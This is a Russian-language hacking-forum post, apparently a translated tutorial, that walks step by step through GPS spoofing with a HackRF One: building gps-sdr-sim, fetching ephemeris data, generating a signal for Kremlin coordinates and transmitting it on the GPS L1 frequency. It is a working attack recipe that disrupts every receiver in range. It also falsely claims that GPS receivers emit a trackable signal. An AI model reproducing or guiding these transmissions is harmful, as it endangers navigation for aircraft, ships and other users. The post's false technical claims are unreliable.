Программно-определяемая радиосвязь для хакеров: как подделать свою глобальную позицию (GPS), чтобы скрыть своё местоположение

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, мой начинающий кибервоин!

Как вы уже знаете, можно подделать как ваш IP-адрес, так и MAC-адрес, но можно ли подделать моё глобальное местоположение (GPS)? Ответ, конечно же, ДА! Это одно из преимуществ освоения и освоения программно-определяемой радиосвязи (SDR).

6a4a49_16f3bc4c78754aad8d77fc1a15c8db18~mv2.jpg




Есть ряд причин, по которым вы можете не захотеть раскрывать своё местоположение в мире. Как большинство из вас знает, мы активно помогали Украине отражать жестокую агрессию её соседа и бывшего колониального хозяина, России (думаю, само собой разумеется, что Россия — агрессор, и ей следует напомнить, что вторгаться и убивать своих соседей — это неправильно). В этой войне местоположение в мире играет ключевую роль в обнаружении и уничтожении армии противника. Кроме того, в начале войны мы использовали GPS для геолокации яхт российских олигархов, которые затем были захвачены странами НАТО. Вскоре после этого оставшиеся яхты начали скрывать своё местоположение в мире, чтобы избежать нашего обнаружения.

Что, если бы войска на земле могли отправлять поддельный GPS-сигнал, чтобы скрыть своё местоположение от артиллерии и ракет? Что ещё важнее, военные корабли и самолёты посылают GPS-сигнал, который могут отслеживать ракеты и другое оружие. Разве они не стали бы менее заметны, передавая поддельные координаты? Это лишь несколько реальных примеров ценности подделки GPS-сигнала.

В этом уроке мы покажем, как подделать ваше GPS-положение с помощью SDR и недорогого HackRF One.

Шаг №1: Установка HackRF One

Первый шаг — приобрести и установить HackRF One. Более дешёвые SDR-приёмники, такие как SDR-RTL, являются исключительно приёмниками и не способны передавать сигнал.



6a4a49_d2dbe9a06dca43a7a666102c8a0b8bd1~mv2.png


Дополнительную информацию о настройке HackRF One см. в этой статье.



6a4a49_9a6a1895fd0e45cc9660e333215788fe~mv2.png
6a4a49_b828bc12e8264b98a3d6d7c8c960c704~mv2.png


Шаг №2: Установка GPS-обманки

Далее создайте каталог с именем GPS_SPOOF…

kali > mkdir GPS_SPOOF

….а затем перейдите в новый каталог.

kali > cd GPS_SPOOF

Затем загрузите программное обеспечение для подмены GPS с github.com.

kali > sudo git clone https://github.com/osqzss/gps-sdr-sim.git

6a4a49_8461434db72c49b3a96ca4a9c001c53e~mv2.png




Теперь перейдите в новый каталог, который он создал.

kali > cd gps-sdr-sim

6a4a49_c730a0216e7e4c3f802308c6a7e8233e~mv2.png




Нам нужно скомпилировать gpssim.c в файл с именем gps-sdr-sim, и чтобы иметь возможность использовать файлы движения, нам нужно скомпилировать его с -DUSER_MOTION_SIZE=400 (это позволит обманному GPS-сигналу казаться движущимся, а не оставаться статичным, что, скорее всего, послужит для приемника сигналом о том, что это ложный сигнал).

kali> sudo gcc gpssim.c -lm -O3 -o gps-sdr-sim -DUSER_MOTION_SIZE=4000

6a4a49_9fadb22048864b69bdcde2a1a0ba1d97~mv2.png




Где:

gcc — это компилятор GNU C

gpssim.c — это файл C, который нам нужно скомпилировать

-lm — это ссылка на библиотеку math.c

-O3 оптимизирует компиляцию до более высокого уровня

-o помещает вывод в файл с именем gps-sdr-sim

Шаг №3: Найдите спутник

Следующий шаг — определение местоположения спутника GPS. Это делается с помощью файла эфемерид, передаваемого GPS. Архив ежедневного файла можно скачать здесь (необходима регистрация).

https://cddis.nasa.gov/archive/gnss/data/daily/

Эти файлы затем используются для моделирования псевдодальности и доплеровского сдвига для спутников в вашем диапазоне. Эти данные затем используются для моделирования данных дальности для генерации оцифрованных I/Q-выборок сигнала GPS. Убедитесь, что вы загружаете самый последний ежедневный файл.

https://cddis.nasa.gov/archive/gnss/data/daily/2022/brdc/

6a4a49_2f882ecae5d6404fb3a806d21a0845ab~mv2.png


Затем выберите место, которое вы хотите сымитировать. В моём случае я хочу, чтобы это была Москва, а именно Кремль. GPS-координаты можно получить в Google Картах.

6a4a49_032e941fd5124d8b906bb5d7010b653b~mv2.png


6a4a49_a6a01e2a2ce546648141b630c8788b3f~mv2.png
6a4a49_315ac33364944dfe81f74281bb6fef41~mv2.png


Теперь, чтобы начать подделку GPS, просто введите следующую команду с файлом эфемерид и координатами GPS, такими как:

kali > sudo ./gps-sdr-sim -b 8 -e brdc0010.22n -l 55.75911686948662, 37.616404140886715, 100

6a4a49_84d6ea801df349358fd497eb87407f8d~mv2.png


Это создаст файл симуляции с именем gpssim.bin.

6a4a49_9ec78e5d951b471cb8486006c9e1c176~mv2.png


Теперь, чтобы отправить поддельный сигнал GPS, имитирующий мое местоположение в Кремле, я могу просто войти;

kali > sudo hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 0

6a4a49_2dd844af7b29421b96984a6dcb6faefb~mv2.png


Успех! Теперь любой, кто отслеживает мой GPS-сигнал, уверен, что я в Кремле!

Краткое содержание

Взлом радиочастот — одна из важнейших и наименее осознаваемых областей кибербезопасности. Существует огромное количество устройств и систем, которые отправляют и принимают радиосигналы и которые уязвимы для злоумышленников. Одним из таких вездесущих радиосигналов является глобальная система позиционирования (GPS). Хотя это прекрасный инструмент для ориентирования в мире, его также можно использовать во вредоносных целях для отслеживания каждого нашего шага. Подделывая GPS, мы можем скрыть своё местоположение и избежать слежки со стороны правительств и других злоумышленников.
 
Назад
Сверху Снизу